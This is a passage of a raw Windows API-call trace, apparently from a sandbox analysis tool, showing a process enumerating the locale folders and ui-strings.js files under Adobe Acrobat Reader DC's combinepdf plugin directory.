ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.440] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.440] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.440] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.440] GetProcessHeap () returned 0xc10000 [0248.440] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.440] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0248.440] GetProcessHeap () returned 0xc10000 [0248.440] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0248.442] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.442] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.442] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.442] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0248.442] GetProcessHeap () returned 0xc10000 [0248.442] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.442] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0248.442] GetProcessHeap () returned 0xc10000 [0248.442] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.444] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.444] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.444] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.444] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0248.444] GetProcessHeap () returned 0xc10000 [0248.444] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.444] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0248.444] GetProcessHeap () returned 0xc10000 [0248.445] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.445] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0248.446] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.446] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.446] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.446] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0248.446] GetProcessHeap () returned 0xc10000 [0248.446] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.446] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0248.446] GetProcessHeap () returned 0xc10000 [0248.446] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.447] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.447] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0248.447] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.447] GetProcessHeap () returned 0xc10000 [0248.447] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.447] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0248.447] GetProcessHeap () returned 0xc10000 [0248.447] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.447] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\en-il\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.448] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.449] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.449] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.449] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.449] GetProcessHeap () returned 0xc10000 [0248.449] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.449] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0248.449] GetProcessHeap () returned 0xc10000 [0248.449] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.450] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.450] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.450] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.450] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.450] GetProcessHeap () returned 0xc10000 [0248.450] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.450] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0248.630] GetProcessHeap () returned 0xc10000 [0248.630] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\eu-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.662] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.662] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.662] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x48b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.663] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.663] GetProcessHeap () returned 0xc10000 [0248.663] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.663] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0248.663] GetProcessHeap () returned 0xc10000 [0248.663] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.663] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.664] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, 